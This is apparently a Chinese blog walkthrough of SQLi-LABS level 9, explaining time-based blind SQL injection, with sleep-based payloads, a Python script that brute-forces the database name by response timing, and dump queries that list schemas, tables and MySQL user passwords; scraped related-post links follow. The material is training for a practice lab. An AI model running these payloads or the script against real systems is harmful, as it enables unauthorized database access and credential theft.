第九关是单引号字符型注入,推荐使用时间盲注

一、功能分析

在地址栏输入id作为参数,后台根据id查询用户信息。

二、思路分析

输入任何参数,页面都只有一种响应结果:You are in...........

无回显位置,不适合联合注入;

无报错信息,不适合报错注入;

查询的正确与否不会影响页面的响应(只有一种响应),不适合布尔盲注。

综上所述,考虑使用时间盲注。

三、解题步骤

方式一:时间盲注

第一步、判断注入条件

地址栏输入:?id=1' and if(1,sleep(5),3) -- a

页面响应时间超过5秒,确定存在时间盲注。

第二步、判断长度

判断当前使用的数据库名的长度,地址栏输入:

?id=1' and if((length(database())>1),sleep(5),3) -- a

页面延时,说明长度大于1,依次递增长度判断,后面使用脚本自动化猜解。

第三步、枚举字符

长度确定后,依次截取每一个字符,使用穷举法判断出字符的真实内容(为了方便脚本编写,此处将字符转换为ASCLL后再进行枚举),地址栏输入:

?id=1' and if((ascii(substr((database()),1,1)) >1)
, sleep(5), 3) -- a

页面延时,说明字符的ASCLL码大于1,依次递增判断其余字符内容的可能性(32~126)。

猜解出第一个字符后,在依次判断其余字符,后面使用脚本自动化猜解。

脱库

Python自动化脚本如下,可按需修改:

import requests
import time# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload# 目标网址(不带参数)
url = "http://bff5ab64ff054f9c8971180ccaea1d7e.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if((length((database())) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if((ascii(substr((database()),{n},1)) ={r})
, sleep(5), 3) -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:start_time = time.time()response = requests.get(url= url+payload_len.format(n= length))# 页面响应时间 = 结束执行的时间 - 开始执行的时间use_time = time.time() - start_time# 响应时间>5秒时,表示猜解成功if use_time > 5:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):start_time = time.time()response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面响应时间 = 结束执行的时间 - 开始执行的时间use_time = time.time() - start_time# 页面中出现此内容则表示成功if use_time > 5:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

执行结果如下:

其余脱库操作将下图中圈起来的内容替换成脱库语句即可:

常用脱库语句:

# 获取所有数据库
(select group_concat(schema_name)
from information_schema.schemata)# 获取 security 库的所有表
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")# 获取 users 表的所有字段
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")# 获取数据库管理员的密码
(select password
from mysql.user
where user="mituan")

SQLi LABS Less 9 时间盲注相关推荐

  1. SQLi LABS Less 10 时间盲注

    第十关是双引号字符型注入,推荐使用时间盲注. 一.功能分析 二.思路分析 三.解题步骤 方式一:时间盲注 第一步.判断注入条件 第二步.判断长度 第三步.枚举字符 脱库 一.功能分析 二.思路分析 页 ...

  2. SQLi LABS Less 16 布尔盲注

    第十六关是双引号+括号的字符型注入,推荐使用布尔盲注 一.功能分析 一个简单的登录功能,输入用户名和密码点击登录,后台接收参数查询数据库. 如果用户名和密码存在,页面提示登录成功. 如果用户名和密码不 ...

  3. SQLi LABS Less 15 布尔盲注

    第十五是单引号字符串型注入,推荐使用布尔盲注. 一.功能分析 输入用户名和密码,后台接收参数查询数据库. 如果用户名和密码存在,页面提示登录成功. 如果用户名和密码不存在,页面提示登录失败. 二.思路 ...

  4. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  5. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  6. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  7. SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注

    第25a关是数值型注入: 后台过滤了关键字(and.or),可以双写绕过: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. SQLi-LABS 其余关卡,可以参考我的专栏:SQLi-LABS ...

  8. 【Less-9】基于SQLI的SQL时间盲注

    实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! [实验目的] [实验环境] [实验原理] [实验步骤] 第一步 登录SQLI-Labs平台 第二步 登录Kali平台 ...

  9. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

最新文章

  1. 使用WinINet和WinHTTP实现Http訪问
  2. 服务器运行环境怎么搭建,服务器运行环境怎么快速搭建?
  3. Linux学习日记——源码编译Apache
  4. python安装django模块_python中安装django模块的方法
  5. 10067mysql_MYSQL数据库mysql Non-Transactional Database Only(只支持MyISAM)
  6. 李宏毅《机器学习》完整版笔记发布
  7. Python字符串isalnum()
  8. httpunit测试遭遇org.mozilla.javascript.NativeGlobal.constructError
  9. 大话数据结构(个人笔记)
  10. BS和CS的区别有哪些:
  11. 树莓派3 linux,树莓派
  12. Python 金融量化 道路突破策略(唐奇安道路突破策略布林带通道及其市场风险)
  13. 启动优化之一——启动分析及优化方案
  14. 关键词搜索淘宝商品列表接口,关键词搜索接口,淘宝关键词搜索接口,item_search - 按关键字搜索淘宝商品列表接口,接口参数说明。
  15. 菜鸟笔记--函数基础
  16. 【MSP430】MSP430F5529关于ADC12模数转换介绍
  17. 从社会网络角度再现 老干妈和腾讯事件(0712,咯咯咯)
  18. Java求实际利率之Excel函数RATE
  19. 聚类算法评价指标——adjusted Rand index, ARI指数(调整兰德指数)
  20. 计算机毕业论文5000字Word文档,计算机专业毕业论文格式范例

热门文章

  1. 890. Find and Replace Pattern找出匹配形式的单词
  2. 第 10 章 数组和指针
  3. 编写一个Java项目,定义包,在包下定义包含main方法的类,在main方法中声明8种基本数据类型的变量并赋值,练习数据类型转换。...
  4. CSS3 Transform变形理解与应用
  5. 15-07-06 定闹钟
  6. 【Java虚拟机】运行时数据区
  7. 大数据之-Hadoop3.x_MapReduce_MapJoin案例需求分析---大数据之hadoop3.x工作笔记0133
  8. 持续集成部署Jenkins工作笔记0020---20.在GitHub上创建WebHook
  9. SpringCloud学习笔记012---SpringBoot启动时Caused by: java.lang.NoClassDefFoundError:
  10. 使用plt *.log